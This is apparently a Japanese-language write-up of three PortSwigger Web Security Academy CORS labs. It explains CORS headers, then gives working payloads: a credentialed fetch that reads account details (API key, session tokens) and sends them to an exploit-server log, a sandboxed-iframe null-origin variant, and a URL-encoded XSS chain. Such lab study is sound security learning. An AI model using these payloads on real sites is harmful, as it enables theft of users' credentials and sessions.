PortSwigger - Cross-origin resource sharing (CORS)
CORSとは
あるWebサイトから、別のWebサイトのデータを取得してよいかを決める仕組み
Progress
- CORS vulnerability with basic origin reflection
- CORS vulnerability with trusted null origin
- CORS vulnerability with trusted insecure protocols
CORS vulnerability with basic origin reflection
/accountDetails にアクセスすると、レスポンスにユーザ情報が表示されている。
HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 196
{
"username": "wiener",
"email": "cors@swigger.com",
"apikey": "D8RIRLyLgQf2NIjI1XdH2zlMlRflpmeW",
"sessions": [
"yHAIltuEl6aoWsNqV3UhT774Al6oZGjy",
"0JRVkk8Xfqj6mqiDNlW6jvfMDo2ryWXn"
]
}
Access-Control-Allow-Credentials:はCookieやAuthorizationなど、認証情報つきリクエストのレスポンスを JS に読ませてよいか。falseの場合はレスポンスヘッダーには表示されない。
fetch('https://LAB/accountDetails', {
credentials: 'include'
})
// trueの場合resを使って本文を読むことができる
.then(res => res.json())
.then(data => {
console.log(data)
})
// 許可されていない場合読むことができずCORSエラーになる
.catch(err => {
console.log(err)
})
Access-Control-Allow-Origin: はどの Origin の JS にレスポンスを読ませるか。
| * | ・固定で「誰でもOK」 ・credentialsなしの公開API向け |
| https://app.example.com | ・固定で特定のoriginだけ許可 |
| <Originの動的な値> | ・動的に Origin を見て返している ・allowlistが厳密ならOK ・何でも反射していたら危険 |
| null | ・null originを許可 |
Access-Control-Allow-Origin: * の場合、Access-Control-Allow-Credentials: true であっても認証付きレスポンスは読むことができないのでCORSエラーとなる。
Cookieの設定を見てみるとSameSite: None になっており、ここがもしLax だった場合、fetch はトップレベルGETではないのでCookieが送信されず今回の攻撃は成立しない
<script>
fetch('https://web-security-academy.net/accountDetails',{
credentials: 'include'
})
.then(res => res.json()) // res.text()にすると全文文字列になり特定のキーが取れない(data.apikey)
.then(data => {
fetch('https://exploit-server.net/log?key=' + encodeURIComponent(JSON.stringify(data)))
})
</script>
CORS vulnerability with trusted null origin
前章CORS vulnerability with basic origin reflection と内容はよく似ていて、null originということでAccess-Control-Allow-Origin: null になることが考えられる。
前章のコードを使用してnull origin として実行させるにはiframe.sandbox を使用するとoriginがnullで実行される。
iframeのsandboxをつけないとiframeのoriginになりnull origin にならない、sandboxにallow-scriptsをつけないとiframe内の JS が実行されない。
<iframe sandbox="allow-scripts" src="
<script>
fetch('https://web-security-academy.net/accountDetails',{
credentials: 'include'
})
.then(res => res.json())
.then(data => {
fetch('https://exploit-server.net/log?key=' + encodeURIComponent(JSON.stringify(data)))
})
</script>
"></iframe>
CORS vulnerability with trusted insecure protocols
今回のケースは、CORSとXSS 2つの脆弱性が存在し、XSSを介してCORSの攻撃を成立させるものになる。
View details をよく調査すると、Check Stock をクリックするとstock.lab-domain のリクエストが発生している。productId=1&storeId=1 のproductId=の後に適当な文字列を入れると文字列を含んだエラーが返ってくる。
https://stock.web-security-academy.net/?productId=test&storeId=1
h4>ERROR</h4>Invalid product ID: test
alertを発火させることができ、XSSの脆弱性が潜んで切ることがわかる。
前章CORS vulnerability with basic origin reflectionのコードを挿入
<script>が二重になり、HTML・URLが壊れやすいのでURLエンコードする必要がある。
<script>
document.location = "http://stock.web-security-academy.net/?productId=4%3Cscript%3Efetch('https%3A%2F%2Fweb-security-academy.net%2FaccountDetails'%2C%7Bcredentials%3A'include'%7D).then(res%3D%3Eres.json()).then(data%3D%3E%7Bfetch('https%3A%2F%2Fexploit-server.net%2Flog%3Fkey%3D'%2BencodeURIComponent(JSON.stringify(data)))%7D)%3C%2Fscript%3E&storeId=1"
</script>